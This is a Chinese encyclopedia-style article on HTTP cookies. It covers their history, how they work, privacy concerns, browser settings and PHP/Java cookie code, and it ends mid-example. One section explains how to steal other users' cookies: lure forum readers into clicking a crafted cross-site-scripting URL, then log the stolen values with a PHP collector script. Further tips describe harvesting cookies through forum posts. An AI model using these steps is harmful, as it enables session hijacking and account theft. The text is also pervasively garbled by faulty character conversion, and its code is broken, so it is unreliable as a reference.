cookie (儲存在用戶本地終端上的數據)

Cookie,有時也用其複數形式  Cookies,指某些網站爲了辨別用戶身份、進行 session 跟蹤而儲存在用戶本地終端上的數據(一般通過加密)。定義於 RFC2109 和 2965 中的都已廢棄,最新取代的規範是 RFC6265[1]   。(能夠叫作瀏覽器緩存)
 
中文名
儲存在用戶本地終端上的數據
外文名
Cookie
複數形式
Cookies
基於 Internet的各類服務系統應運而生,創建商業站點或者功能比較完善的我的站點,經常須要記錄訪問者的一些信息;論壇做爲 Internet發展的產物之一,在 Internet 中發揮着愈來愈重要的做用,是用戶獲取、交流、傳遞信息的主要場所之一,論壇經常也須要記錄訪問者的一些基本信息(如身份識別號碼、密碼、用戶在 Web 站點購物的方式或用戶訪問該站點的次數)。目前公認的是,經過 Cookie 和 Session 技術來實現記錄訪問者的一些基本信息[2]   
Cookie 技術誕生以來,它就成了廣大網絡用戶和 Web 開發人員爭論的一個焦點。有一些網絡用戶,甚至包括一些資深的 Web 專家也對它的產生和推廣感到不滿,這並非由於 Cookie 技術的功能太弱或其餘技術性能上的緣由,而是由於 Cookie 的使用對網絡用戶的隱私構成了危害。由於 Cookie 是由 Web 服務器保存在用戶瀏覽器上的小文本文件,它包含有關用戶的信息[2]   
Cookie 技術產生源於 HTTP 協議在互聯網上的急速發展。隨着互聯網的深層次發展,帶寬等限制不存在了,人們須要更復雜的互聯網交互活動,就必須同服務器保持活動狀態。因而,在瀏覽器發展初期,爲了適應用戶的需求,技術上推出了各類保持 Web 瀏覽狀態的手段,其中就包括了 Cookie 技術。1993 年,網景公司僱員 Lou Montulli 爲了讓用戶在訪問某網站時,進一步提升訪問速度,同時也爲了進一步實現我的化網絡,發明了今天普遍使用的 Cookie[3]   
Cookie 能夠翻譯爲「小甜品,小餅乾」 ,Cookie 在網絡系統中幾乎無處不在,當咱們瀏覽之前訪問過的網站時,網頁中可能會出現 :你好 XXX,這會讓咱們感受很親切,就好像吃了一個小甜品同樣。這實際上是經過訪問主機中的一個文件來實現的,這個文件就是 Cookie。在 Internet 中,Cookie 其實是指小量信息,是由 Web 服務器建立的,將信息存儲在用戶計算機上的文件。通常網絡用戶習慣用其複數形式 Cookies,指某些網站爲了辨別用戶身份、進行 Session 跟蹤而存儲在用戶本地終端上的數據,而這些數據一般會通過加密處理[3]   
Cookie 在計算機中是個存儲在瀏覽器目錄中的文本文件,當瀏覽器運行時,存儲在 RAM 中發揮做用 (此種 Cookies 稱做 Session Cookies),一旦用戶從該網站或服務器退出,Cookie 可存儲在用戶本地的硬盤上 (此種 Cookies 稱做 Persistent Cookies)[3]   
一般狀況下,當用戶結束瀏覽器會話時,系統將終止全部的 Cookie。當 Web 服務器建立了Cookies 後,只要在其有效期內,當用戶訪問同一個 Web 服務器時,瀏覽器首先要檢查本地的Cookies,並將其原樣發送給 Web 服務器。這種狀態信息稱做「Persistent Client State HTTP Cookie」 ,簡稱爲 Cookies[3]   

技術簡介

編輯
Cookie 是在 HTTP 協議下,服務器或腳本能夠維護客戶工做站上信息的一種方式。Cookie 是由 Web 服務器保存在用戶瀏覽器(客戶端)上的小文本文件,它能夠包含有關用戶的信息。不管什麼時候用戶連接到服務器,Web 站點均可以訪問 Cookie 信息[2]   
目前有些 Cookie 是臨時的,有些則是持續的。臨時的 Cookie 只在瀏覽器上保存一段規定的時間,一旦超過規定的時間,該 Cookie 就會被系統清除[2]   
持續的 Cookie 則保存在用戶的 Cookie 文件中,下一次用戶返回時,仍然能夠對它進行調用。在 Cookie 文件中保存 Cookie,有些用戶擔憂 Cookie 中的用戶信息被一些別有用心的人竊取,而形成必定的損害。其實,網站之外的用戶沒法跨過網站來得到 Cookie 信息。若是由於這種擔憂而屏蔽 Cookie,確定會所以拒絕訪問許多站點頁面。由於,當今有許多 Web 站點開發人員使用 Cookie 技術,例如 Session 對象的使用就離不開 Cookie 的支持[2]   

功能特色

編輯
在同一個頁面中設置 Cookie,其實是按從後往前的順序進行的。若是要先刪除一個 Cookie,再寫入一個 Cookie,則必須先寫寫入語句,再寫刪除語句,不然會出現錯誤[2]   
Cookie是面向路徑的。缺省路徑 (path) 屬性時,Web 服務器頁會自動傳遞當前路徑給瀏覽器,指定路徑強制服務器使用設置的路徑。在一個目錄頁面裏設置的 Cookie 在另外一個目錄的頁面裏是看不到的 [2]   
Cookie 必須在 HTML 文件的內容輸出以前設置;不一樣的瀏覽器 (Netscape Navigator、Internet Explorer) 對 Cookie 的處理不一致,使用時必定要考慮;客戶端用戶若是設置禁止 Cookie,則 Cookie 不能創建。 而且在客戶端,一個瀏覽器能建立的 Cookie 數量最多爲 300 個,而且每一個不能超過 4KB,每一個 Web 站點能設置的 Cookie 總數不能超過 20 個[2]   

具體含義

編輯
Cookie 從來指就着牛奶一塊兒吃的點心。然而,在 因特網內,「Cookie」這個字有了徹底不一樣的意思。那麼「Cookie」究竟是什麼呢?「Cookie」是小量信息,由 網絡服務器發送出來以存儲在網絡瀏覽器上,從而下次這位獨一無二的訪客又回到該網絡服務器時,可從該瀏覽器讀回此信息。這是頗有用的,讓瀏覽器記住這位訪客的特定信息,如上次訪問的位置、花費的時間或用戶首選項(如樣式表)。Cookie 是個存儲在瀏覽器目錄的文本文件,當瀏覽器運行時,存儲在 RAM 中。一旦你從該網站或網絡服務器退出,Cookie 也可存儲在計算機的硬驅上。當訪客結束其瀏覽器對話時,即終止的全部 Cookie。

誕生時間

編輯
使用cookie實現單點登陸 使用cookie實現單點登陸
Cookie最先是網景公司的前僱員Lou Montulli在1993年3月的發明。
Cookie是由 服務器端生成,發送給User-Agent(通常是瀏覽器),瀏覽器會將Cookie的key/value保存到某個目錄下的 文本文件內,下次請求同一網站時就發送該Cookie給 服務器(前提是瀏覽器設置爲啓用cookie)。Cookie名稱和值能夠由服務器端開發本身定義,對於JSP而言也能夠直接寫入jsessionid,這樣服務器能夠知道該用戶是不是合法用戶以及是否須要從新登陸等,服務器能夠設置或讀取Cookies中包含信息,藉此維護用戶跟服務器會話中的狀態。[4]  
Cookie的安全級別包括組織所用Cookie,接受全部Cookie,中級,和高級

主要用途

編輯
c#中的cookie編程 c#中的cookie編程
務器能夠利用Cookies包含信息的任意性來篩選並常常性維護這些信息,以判斷在HTTP傳輸中的狀態。Cookies最典型的應用是斷定註冊用戶是否已經登陸網站,用戶可能會獲得提示,是否在下一次進入此網站時保留用戶信息以便簡化登陸手續,這些都是Cookies的功用。另外一個重要應用場合是「購物車」之類處理。用戶可能會在一段時間內在同一家網站的不一樣頁面中選擇不一樣的商品,這些信息都會寫入Cookies,以便在最後付款時提取信息。
使用和禁用Cookie
用戶能夠改變瀏覽器的設置,以使用或者 禁用Cookies。
工具 > Internet選項 > 隱私頁
調節滑塊或者點擊「高級」,進行設置.
工具> 選項> 隱私
(注: 在 Linux版本中,是以下操做:編輯 > 首選項 > 隱私 , 而Mac則是:Firefox > 屬性 > 隱私)
查看源網頁 查看源網頁
設置Cookies選項
設定阻止/容許的各個域內Cookie
查看Cookies管理窗口,檢查現存Cookie信息,選擇刪除或者阻止它們
蘋果計算機 Safari
Safari > 預置 > 安全標籤
選擇如下的選項
老是 接受 Cookies
永不 接受 Cookies
接受 Cookies 僅從您瀏覽的站點 (例如,不接受來自其它站點的廣告) 預設的選項.
您能夠顯示全部駐留在您瀏覽器中的 cookies,也可隨時將它們之一刪除。
NETSCAPE
查看源網頁 查看源網頁
「PREFERENCE\ADVANCED\COOKIES」,在出現的窗口中有三個選項,選擇「DISABLECOOKIES」便可關閉COOKIE。在IE中,選擇「查看」/「INTERNET選項」/「高級",在隨後出現的窗口中找到「COOKIES」一項,選擇「禁止全部的COOKIE 使用」可關閉COOKIE。
Konqueror
若是沒有設置cookie列表,請記住在域名前面加入「.」,例如.,不然百度將不會讀取cookie(針對KDE 3.3)。
Cookies就是服務器暫存放在你的電腦裏的資料(.txt格式的文本文件),好讓服務器用來辨認你的計算機,本文簡單介紹什麼是cookies,cookies有什麼做用,以及網站利用cookie存在什麼問題。
什麼是Cookies(「小甜餅」)呢?簡單來講,Cookies就是服務器暫時存放在你的電腦裏的資料(.txt格式的文本文件),好讓服務器用來辨認你的計算機。當你在瀏覽網站的時候,Web服務器會先送一小小資料放在你的計算機上,Cookies 會把你在網站上所打的文字或是一些選擇都記錄下來。當下次你再訪問同一個網站,Web服務器會先看看有沒有它上次留下的Cookies資料,有的話,就會依據Cookie裏的內容來判斷使用者,送出特定的網頁內容給你。
cookies有什麼做用呢?許多網站上都有新用戶註冊這一項,有時註冊了一下,等到下次再訪問該站點時,會 自動識別到你,而且向你問好,是否是以爲很親切?固然這種做用只是表面現象,更重要的是,網站能夠利用cookies跟蹤統計用戶訪問該網站的習慣,好比什麼時間訪問,訪問了哪些頁面,在每一個網頁的停留時間等。利用這些信息,一方面是能夠爲用戶提供個性化的服務,另外一方面,也能夠做爲了解全部用戶行爲的工具,對於網站經營策略的改進有必定參考價值。例如,你在某家航空公司站點查閱航班時刻表,該網站可能就建立了包含你旅行計劃的Cookies,也可能它只記錄了你在該站點上曾經訪問過的Web頁,在你下次訪問時,網站根據你的狀況對顯示的內容進行調整,將你所感興趣的內容放在前列。這是高級的Cookie應用。目前Cookies 最普遍的是記錄用戶登陸信息,這樣下次訪問時能夠不須要輸入本身的用戶名、密碼了——固然這種方便也存在用戶信息泄密的問題,尤爲在多個用戶共用一臺電腦時很容易出現這樣的問題。
另外,有人認爲網站利用cookies可能存在侵犯用戶隱私的問題,但因爲大多用戶對此瞭解很少,並且這種對用戶我的信息的利用多數做爲統計數據之用,不必定形成用戶的直接損失,所以對於cookies與用戶隱私權的問題並無相關法律約束,不少網站仍然在利用cookie跟蹤用戶行爲,有些程序要求用戶必須開啓cookie才能正常應用。IE瀏覽器用戶能夠經過「隱私」選項中的隱私設置的高低來決定是否容許網站利用cookie跟蹤本身的信息,從所有限制到所有容許,或者限制部分網站,也能夠經過手動方式對具體的網站設置容許或者禁止使用cookies進行編輯。IE瀏覽器的默認設置是 「中級」-對部分網站利用cookie有限制。我的電腦的cookies設置(對IE瀏覽器而言)可經過菜單「工具-Internet選項-隱私」來查看和修改。

生存週期

編輯
Cookie能夠保持登陸信息到用戶下次與 服務器的會話,換句話說,下次訪問同一網站時,用戶會發現沒必要輸入用戶名和密碼就已經登陸了(固然,不排除用戶手工刪除Cookie)。而還有一些Cookie在用戶退出會話的時候就被刪除了,這樣能夠有效保護我的隱私。
Cookie在生成時就會被指定一個Expire值,這就是Cookie的生存週期,在這個週期內Cookie有效,超出週期Cookie就會被清除。有些頁面將Cookie的生存週期設置爲「0」或負值,這樣在關閉瀏覽器時,就立刻清除Cookie,不會記錄用戶信息,更加安全。

識別功能

編輯
若是
c#中的cookie編程 c#中的cookie編程
在一臺計算機中安裝多個瀏覽器,每一個瀏覽器都會在各自獨立的空間存放cookie。由於cookie中不但能夠確認用戶,還能包含計算機和瀏覽器的信息,因此一個用戶用不一樣的瀏覽器登陸或者用不一樣的計算機登陸,都會獲得不一樣的cookie信息,另外一方面,對於在同一臺計算機上使用同一瀏覽器的多用戶羣,cookie不會區分他們的身份,除非他們使用不一樣的用戶名登陸。
反對cookies者
一些人反對cookie在網絡中的應用,他們的理由以下:
一、識別不精確
參見上面的識別功能。
二、隱私,安全和廣告
Cookies在某種程度上說已經嚴重危及用戶的隱私和安全。其中的一種方法是:一些公司的高層人員爲了某種目的(譬如市場調研)而訪問了從未去過的網站(經過 搜索引擎查到的),而這些網站包含了一種叫作網頁臭蟲的圖片,該圖片透明,且只有一個像素大小(以便隱藏),它們的做用是將全部訪問過此頁面的計算機寫入cookie。然後,電子商務網站將讀取這些cookie信息,並尋找寫入這些cookie的網站,隨即發送包含了針對這個網站的相關產品廣告的 垃圾郵件給這些高級人員。
由於更具備針對性,使得這套系統行之有效,收到郵件的客戶或多或少表現出對產品的興趣。這些站點一旦寫入cookie並使其運做,就能夠從電子商務網站那裏得到報酬,以維繫網站的生存。
鑑於隱藏的危害性, 瑞典已經經過對cookie立法,要求利用cookie的網站必須說明cookie的屬性,而且指導用戶如何禁用cookie。

腳本攻擊

編輯
儘管cookie沒有病毒那麼危險,但它仍包含了一些敏感信息:用戶名,計算機名,使用的瀏覽器和曾經訪問的網站。用戶不但願這些內容泄漏出去,尤爲是當其中還包含有私人信息的時候。
這並不是危言聳聽,一種名爲跨站點腳本攻擊(Cross site scripting)能夠達到此目的。一般跨站點腳本攻擊每每利用網站漏洞在網站頁面中植入腳本代碼或網站頁面引用第三方法腳本代碼,均存在跨站點腳本攻擊的可能,在受到跨站點腳本攻擊時,腳本指令將會讀取當前站點的全部 Cookie 內容(已不存在 Cookie 做用域限制),而後經過某種方式將 Cookie 內容提交到指定的服務器(如:AJAX)。一旦 Cookie 落入攻擊者手中,它將會重現其價值。
建議開發人員在向客戶端 Cookie 輸出敏感的內容時(譬如:該內容能識別用戶身份):
1)設置該 Cookie 不能被腳本讀取,這樣在必定程度上解決上述問題。
  2)對 Cookie 內容進行加密,在加密前嵌入時間戳,保證每次加密後的密文都不同(而且能夠防止消息重放)。
  3)客戶端請求時,每次或定時更新 Cookie 內容(即:基於第2小條,從新加密)
  4)每次向 Cookie 寫入時間戳,數據庫須要記錄最後一次時間戳(防止 Cookie 篡改,或重放攻擊)。
  5)客戶端提交 Cookie 時,先解密而後校驗時間戳,時間戳若小於數據數據庫中記錄,即意味發生攻擊。
基於上述建議,即便 Cookie 被竊取,卻因 Cookie 被隨機更新,且內容無規律性,攻擊者沒法加以利用。另外利用了時間戳另外一大好處就是防止 Cookie 篡改或重放。
Cookie 竊取:蒐集用戶cookie併發給攻擊者的黑客。攻擊者將利用cookie信息經過合法手段進入用戶賬戶。
Cookie 篡改:利用安全機制,攻擊者加入代碼從而改寫 Cookie 內容,以便持續攻擊。

相關問題

編輯
Cookie 有哪些用途?
Cookie 的用途之一是存儲用戶在特定網站上的密碼和 ID。另外,也用於存儲起始頁的首選項。在提供我的化查看的網站上,將要求你的網絡瀏覽器利用你計算機硬驅上的少許空間來儲存這些首選項。這樣,每次你登陸該網站時,你的瀏覽器將檢查你是否就該惟一的服務器有任何預先定義的首選項(cookie)。若是有的話,瀏覽器將此 cookie 隨你對網頁的請求一塊兒發送給服務器。Microsoft 和 Netscape 使用 cookie 在其網站上建立我的起始頁。各家公司利用 cookie 的通常用途包括:在線訂貨系統、網站我的化和網站跟蹤。
網站我的化是 cookie 最有益的用途之一。例如,當誰來到 CNN 網站,但並不想查看任何商務新聞。網站容許他將該項選爲關閉選項。從那時起(或者直到 cookie 逾期),他在訪問 CNN 網頁時將不會讀到商務新聞。
這些 Cookie 是如何起做用的?
文檔的 HTML 代碼中的命令行告訴瀏覽器設置某一名稱或數值的 cookie。如下是用來設置 cookie腳本的一個普通實例。
Set-Cookie: name = VALUE;
expires = DATE;
path = PATH;
domain = DOMAIN_NAME;
那麼安全性如何?HTTP Cookie 不能用來從閣下的硬驅上檢索我的數據、放置病毒、獲得閣下的電子郵件地址或偷竊有關閣下身份的敏感信息;然而,HTTP Cookie 可用來跟蹤閣下在特定網站上的所到之處。不使用 cookie 就很難進行網站跟蹤。
至於其餘一切與因特網有關的事,如同閣下所但願的那樣是匿名的。沒有網站知道閣下是誰,除非閣下本身透露給網站。同時,cookie 只是爲了更好地瞭解使用模式並改進網站訪客的效率而採用的一個網站跟蹤統計手段而已。
若是網站設計師旨在使網頁能與訪客更具互動做用,或者若設計師計劃讓訪客自定義網站的外觀,則就須要使用 cookie。並且,若是閣下想要網站在某些狀況下改變其外觀,cookie 則提供了一條快速、容易的途徑,讓閣下的 HTML 頁面按須要而改變。最新型的服務器使用 cookie 有助於數據庫的互動性,進而改進網站的總體互動性。
簡介
適用對象:初級讀者
Cookie是當你瀏覽某網站時,網站存儲在你機器上的一個小文本文件,它記錄了你的用戶ID,密碼、瀏覽過的網頁、停留的時間等信息,當你再次來到該網站時,網站經過讀取Cookie,得知你的相關信息,就能夠作出相應的動做,如在頁面顯示歡迎你的標語,或者讓你不用輸入ID、密碼就直接登陸等。你能夠在IE的「工具/Internet選項」的「常規」選項卡中,選擇「設置/查看文件」,查看全部保存到你電腦裏的Cookie。這些文件一般是以user@domain格式命名的,user是你的本地用戶名,domain是所訪問的網站的域名。若是你使用NetsCape瀏覽器,則存放在「C:\PROGRAMFILES\NETSCAPE\USERS\」裏面,與IE不一樣的是,NETSCAPE是使用一個Cookie 文件記錄全部網站的Cookies。
爲了保證上網安全咱們須要對Cookie進行適當設置。打開「工具/Internet選項」中的「隱私」選項卡(注意該設置只在IE6.0中存在,其餘版本IE能夠在「工具/Internet選項」的「安全」標籤中單擊「自定義級別」按鈕,進行簡單調整),調整Cookie的安全級別。一般狀況,能夠將滑塊調整到「中高」或者「高」的位置。多數的論壇站點須要使用Cookie信息,若是你歷來不去這些地方,能夠將安全級調到「阻止全部Cookies」。若是隻是爲了禁止個別網站的Cookie,能夠單擊「編輯」按鈕,將要屏蔽的網站添加到列表中。在「高級」按鈕選項中,你能夠對第一方Cookie和第三方的Cookie進行設置,第一方Cookie是你正在瀏覽的網站的Cookie,第三方Cookie非正在瀏覽的網站發給你的Cookie,一般要對第三方Cookie選擇「拒絕」,如圖1。你若是須要保存Cookie,可使用IE的「導入導出」功能,打開「文件/導入導出」,按提示操做便可。
Cookie中的內容大多數通過了加密處理,所以在咱們看來只是一些毫無心義的字母數字組合,只有服務器的CGI處理程序才知道它們真正的含義。經過一些軟件咱們能夠查看到更多的內容,使用Cookie Pal軟件查看到的Cookie信息,如圖2所示。它爲咱們提供了Server、Expires、Name、value等選項的內容。其中,Server是存儲Cookie的網站,Expires記錄了Cookie的時間和 生命期,Name和value字段則是具體的數據。
Cookie的傳遞流程
適用對象:中級讀者
當在瀏覽器地址欄中鍵入了 Amazon的URL,瀏覽器會向Amazon發送一個讀取網頁的請求,並將結果在顯示器上顯示。這時該網頁在你的電腦上尋找Amazon網站設置的Cookie文件,若是找到,瀏覽器會把Cookie文件中的數據連同前面輸入的URL一同發送到Amazon 服務器。服務器收到Cookie數據,就會在他的數據庫中檢索你的ID,你的購物記錄、我的喜愛等信息,並記錄下新的內容,增長到數據庫和Cookie文件中去。若是沒有檢測到Cookie或者你的Cookie信息與數據庫中的信息不符合,則說明你是第一次瀏覽該網站,服務器的CGI程序將爲你建立新的ID信息,並保存到數據庫中。
Cookie是利用了 網頁代碼中的HTTP頭信息進行傳遞的,瀏覽器的每一次網頁請求,均可以伴隨Cookie傳遞,例如,瀏覽器的打開或刷新網頁操做。服務器將Cookie添加到網頁的 HTTP頭信息中,伴隨網頁數據傳回到你的瀏覽器,瀏覽器會根據你電腦中的Cookie設置選擇是否保存這些數據。若是瀏覽器不容許Cookie保存,則關掉瀏覽器後,這些數據就消失。Cookie在電腦上保存的時間是不同的,這些都是由服務器的設置不一樣決定的。Cookie有一個Expires(有效期)屬性,這個屬性決定了Cookie的保存時間,服務器能夠經過設定Expires字段的數值,來改變Cookie的保存時間。若是不設置該屬性,那麼Cookie只在瀏覽網頁期間有效,關閉瀏覽器,這些Cookie自動消失,絕大多數網站屬於這種狀況。一般狀況下,Cookie包含Server、Expires、Name、value這幾個字段,其中對服務器有用的只是Name和value字段,Expires等字段的內容僅僅是爲了告訴瀏覽器如何處理這些Cookies。
Cookie的編程實現
適用對象:高級讀者
多數 網頁編程語言都提供了對Cookie的支持。如 javascriptVBScriptDelphiASPSQLPHP、C#等。在這些 面向對象的編程語言中,對Cookie的編程利用基本上是類似的,大致過程爲:先建立一個Cookie對象(Object),而後利用控制函數對Cookie進行賦值、讀取、寫入等操做。那麼如何經過代碼來獲取其餘用戶Cookie中的敏感信息,下面進行簡單的介紹。
該方法主要有兩步,首先要定位你須要收集Cookie的網站,並對其進行分析,並構造URL;而後編制收集Cookie的PHP代碼,並將其放到你能夠控制的網站上,當不知情者單擊了你構造的URL後能夠執行該PHP代碼。下面咱們看具體的實現過程。
  • 分析並構造URL
首先打開咱們要收集Cookie的網站,這裏假設是登錄網站輸入用戶名「」(不含引號),對數據進行分析就是你可以控制的某臺主機上的一個腳本。須要注意的是「%2B」爲符號「+」的URL編碼,由於「+」將被做爲空格處理。該URL就能夠在論壇中發佈,誘使別人點擊了。
  • 編制PHP腳本221
該腳本的做用就是收集Cookie文件,具體內容以下:
$info = getenv("QUERY_STRING";
if ($info) {
$fp = fopen("info.txt","a";
fwrite($fp,$info."\n";
fclose($fp);
}
>
Cookie的安全問題
適用對象:全部但願上網安全的讀者
  • Cookie欺騙
Cookie記錄着用戶的賬戶ID、密碼之類的信息,若是在網上傳遞,一般使用的是MD5方法加密。這樣通過加密處理後的信息,即便被網絡上一些別有用心的人截獲,也看不懂,由於他看到的只是一些無心義的字母和數字。然而,遇到的問題是,截獲Cookie的人不須要知道這些字符串的含義,他們只要把別人的Cookie向服務器提交,而且可以經過驗證,他們就能夠冒充受害人的身份,登錄網站。這種方法叫作Cookie欺騙。Cookie欺騙實現的前提條件是服務器的驗證程序存在漏洞,而且冒充者要得到被冒充的人的Cookie信息。網站的驗證程序要排除全部非法登陸是很是困難的,例如,編寫驗證程序使用的語言可能存在漏洞。並且要得到別人Cookie是很容易的,用支持Cookie的語言編寫一小段代碼就能夠實現(具體方法見三),只要把這段代碼放到網絡裏,那麼全部人的Cookie都可以被收集。若是一個論壇容許HTML代碼或者容許使用Flash標籤就能夠利用這些技術收集Cookie的代碼放到論壇裏,而後給帖子取一個吸引人的主題,寫上有趣的內容,很快就能夠收集到大量的Cookie。在論壇上,有許多人的密碼就被這種方法盜去的。至於如何防範,尚未特效藥,咱們也只能使用一般的防禦方法,不要在論壇裏使用重要的密碼,也不要使用IE自動保存密碼的功能,以及儘可能不登錄不瞭解底細的網站。
  • Flash的代碼隱患
Flash中有一個getURL()函數,Flash能夠利用這個函數自動打開指定的網頁。所以它可能把你引向一個包含惡意代碼的網站。打個比方,當你在本身電腦上欣賞精美的 Flash動畫時,動畫幀裏的代碼可能已經悄悄地連上網,並打開了一個極小的包含有特殊代碼的頁面。這個頁面能夠收集你的Cookie、也能夠作一些其餘的事情,好比在你的機器上種植木馬甚至格式化你的硬盤等等。對於 Flash的這種行爲,網站是沒法禁止的,由於這是Flash文件的內部行爲。咱們所能作到的,若是是在本地瀏覽儘可能打開 防火牆,若是防火牆提示的向外發送的數據包並不爲你知悉,最好禁止。若是是在Internet上欣賞,最好找一些知名的大網站。
Cookie是怎樣工做的?
要了解Cookie,必不可少地要知道它的工做原理。通常來講,Cookie經過HTTP Headers從服務器端返回到瀏覽器上。
首先,服務器端在響應中利用Set-Cookie header來建立一個Cookie ,而後,瀏覽器在它的請求中經過Cookie header包含這個已經建立的Cookie,而且把它返回至服務器,從而完成瀏覽器的論證。
例如,咱們建立了一個名字爲login的Cookie來包含訪問者的信息,建立Cookie時,服務器端的Header以下面所示,這裏假設訪問者的註冊名是「Michael Jordan」,同時還對所建立的Cookie的屬性如pathdomain、expires等進行了指定。
expires=Monday,01-Mar-99 00:00:01 GMT
上面這個Header會自動在瀏覽器端計算機的Cookie文件中添加一條記錄。瀏覽器將變量名爲「login」的Cookie賦值爲「Michael Jordon」。注意,在實際傳遞過程當中這個Cookie的值是通過了URLEncode方法的URL編碼操做的。這個含有Cookie值的HTTP Header被保存到瀏覽器的Cookie文件後,Header就通知瀏覽器將Cookie經過請求以忽略路徑的方式返回到服務器,完成瀏覽器的認證操做。
此外,咱們使用了Cookie的一些屬性來限定該Cookie的使用。例如Domain屬性可以在瀏覽器端對Cookie發送進行限定,具體到上面的例子,該Cookie只能傳送到指定的服務器上,而決不會跑到其餘的Web站點上去。Expires屬性則指定了該Cookie保存的時間期限,例如上面的Cookie在瀏覽器上只保存到1999年3月1日1秒。固然,若是瀏覽器上Cookie 太多,超過了系統所容許的範圍,瀏覽器將自動對它進行刪除。至於屬性Path,用來指定Cookie將被髮送到服務器的哪個目錄路徑下。
說明:瀏覽器建立了一個Cookie後,對於每個針對該網站的請求,都會在Header中帶着這個Cookie;不過,對於其餘網站的請求Cookie是絕對不會跟着發送的。並且瀏覽器會這樣一直髮送,直到Cookie過時爲止。
上一部分講了有關Cookie的技術背景,這部分來講說在PHP裏如何設置、使用、刪除Cookie,及Cookie的一些限制。PHP對Cookie支持是透明的,用起來很是方便。

設置Cookie的方法

編輯

相關函數

PHP用SetCookie函數來設置Cookie。必須注意的一點是:Cookie是 HTTP協議頭的一部分,用於瀏覽器和服務器之間傳遞信息,因此必須在任何屬於 HTML文件自己的內容輸出以前調用Cookie函數。SetCookie 函數定義了一個Cookie,而且把它附加在HTTP頭的後面,SetCookie函數的原型以下:
int SetCookie(string name,string value,int expire,string path,string domain,int secure);
除了name以外全部的參數都是可選的。value,path,domain 三個參數能夠用空字符串代換,表示沒有設置;expire和 secure兩個參數是數值型的,能夠用0表示。expire參數是一個標準的Unix時間標記,能夠用time()或mktime() 函數取得,以秒爲單位。secure參數表示這個Cookie是否經過加密的HTTPS協議在網絡上傳輸。當前設置的Cookie 不是當即生效的,而是要等到下一個頁面時才能看到.這是因爲在設置的這個頁面裏Cookie由服務器傳遞給客戶瀏覽器,在下一個頁面瀏覽器才能把Cookie從客戶的機器裏取出傳回服務器的緣由。在同一個頁面設置Cookie,實際是從後往前,因此若是要在插入一個新的Cookie以前刪掉一個,你必須先寫插入的語句,再寫刪除的語句,不然可能會出現不但願的結果。

使用舉例

來看幾個例子:
簡單的:
SetCookie("MyCookie","Value of MyCookie");
帶失效時間的:
SetCookie("WithExpire","Expire in 1 hour",time()+3600);//3600秒=1小時
什麼都有的:
這裏還有一點要說明的,好比你的站點有幾個不一樣的目錄,那麼若是隻用不帶路徑的Cookie的話,在一個目錄下的頁面裏設的Cookie在另外一個目錄的頁面裏是看不到的,也就是說,Cookie是面向路徑的。實際上,即便沒有指定路徑,WEB 服務器會自動傳遞當前的路徑給瀏覽器的,指定路徑會強制服務器使用設置的路徑。解決這個問題的辦法是在調用SetCookie時加上路徑和域名,域名的格式能夠是SetCookie函數裏表示value的部分,在傳遞時會自動被encode,也就是說,若是value的值是「test value」在傳遞時就變成了「test%20value」,跟URL的方法同樣。固然,對於程序來講這是透明的,由於在PHP接收Cookie的值時會自動將其decode。
若是要設置同名的多個Cookie,要用 數組,方法是:
SetCookie("CookieArray[]","Value 1");
SetCookie("CookieArray[]","Value 2");
SetCookie("CookieArray[0]","Value 1");
SetCookie("CookieArray[1]","Value 2");
接收和處理Cookie
PHP對Cookie的接收和處理的支持很是好,是徹底自動的,跟FORM變量的原則同樣,特別簡單。好比設置一個名爲MyCookier的Cookie,PHP會自動從 WEB服務器接收的HTTP頭裏把它分析出來,並造成一個與普通變量同樣的變量,名爲$myCookie,這個變量的值就是Cookie的值。數組一樣適用。
另一個辦法是引用PHP的全局變量$HTTP_COOKIE_VARS數組。
分別舉例以下:(假設這些都在之前的頁面裏設置過了,而且仍然有效)
echo $MyCookie;
echo $CookieArray[0];
echo count($CookieArray);
echo $HTTP_COOKIE_VARS["MyCookie"];
就這麼簡單。

導出Cookie的方法

編輯
在Windows XP系統中利用「導入/導出嚮導」能夠方便地導出Cookie信息,方法以下:
第1步,打開「導入/導出嚮導」並單擊「下一步」按鈕,在打開的「導入/導出選擇」嚮導頁中選中「導出Cookie」選項,並單擊「下一步」按鈕。
第2步,在打開的「導出Cookie目標」嚮導頁中,單擊「瀏覽」按鈕指定合適的位置和文件名,並單擊「下一步」按鈕。
第3步,打開「正在完成導入/導出嚮導」嚮導頁,單擊「完成」按鈕開始導出操做。導出成功後會給出提示,單擊「肯定」按鈕便可。[8]  

刪除Cookie的方法

編輯
第一個是:新建一個有相同name名稱的cookie,把value值設爲空,而後設置它生存時間爲0
好比要刪除一個名叫username的cookie:
  Cookie c=new Cookie("username","");
  c.setMaxAge(0);
  response.addCookie(c);
第二個是*(vista中):在桌面按F1,彈出幫助, 輸入cookie,選擇 刪除Internet cookie,彈出 "Internet 選項",在 瀏覽記錄 一欄裏選擇 「刪除」,而後彈出刪除的內容(包括 臨時文件,表單記錄等),選擇 刪除cookie,便可。
此法,適用於各類瀏覽器,包括360,遨遊, 閃遊,火狐, 世界之窗等。

IE瀏覽器

  1. 在打開的下拉列表中點擊「Internet選項」。
  2. 在打開的彈出菜單中點擊"刪除按鈕"。
  3. 選中"Cookie 和網站數據",其它項能夠不選中,再點擊下面的刪除按鈕。等待約10秒鐘左右,就會出現刪除成功的提示。
IE瀏覽器刪除cookie的操做步驟
IE瀏覽器刪除cookie的操做步驟 (4張)

flash

  1. 在打開的「控制面板」中點擊 「Flash Player」。
  2. 在打開的"flash player 設置管理器"中選擇"存儲",再點擊"所有刪除"按鈕。
  3. 最後選中「刪除全部站點數據和設置」,而後點擊「刪除數據」按鈕就便可。
flash cookie刪除步驟
flash cookie刪除步驟 (4張)

PHP Cookies

編輯
cookie 經常使用於識別用戶。cookie 是一種服務器留在用戶計算機上的小文件。每當同一臺計算機經過瀏覽器請求頁面時,這臺計算機將會發送 cookie。經過 PHP,您可以建立並取回 cookie 的值。[9]  

建立 Cookie

setcookie() 函數用於設置 cookie。[9]  
註釋:setcookie() 函數必須位於 <html> 標籤以前。
語法:
setcookie(name, value, expire, path, domain);
在下面的例子中,咱們將建立名爲 "user" 的 cookie,併爲它賦值 "Alex Porter"。咱們也規定了此 cookie 在一小時後過時:
1
2
3
4
5
6
<?php
setcookie( "user" , "AlexPorter" ,time()+3600);
?>
 
<html>
.....
註釋:在發送 cookie 時,cookie 的值會自動進行 URL 編碼,在取回時進行自動解碼。(爲防止 URL 編碼,請使用 setrawcookie() 取而代之。)

取回 Cookie 值

PHP 的 $_COOKIE 變量用於取回 cookie 的值。[9]   
  在下面的實例中,咱們取回了名爲 "user" 的 cookie 的值,並把它顯示在了頁面上:
1
2
3
4
5
6
7
<?php
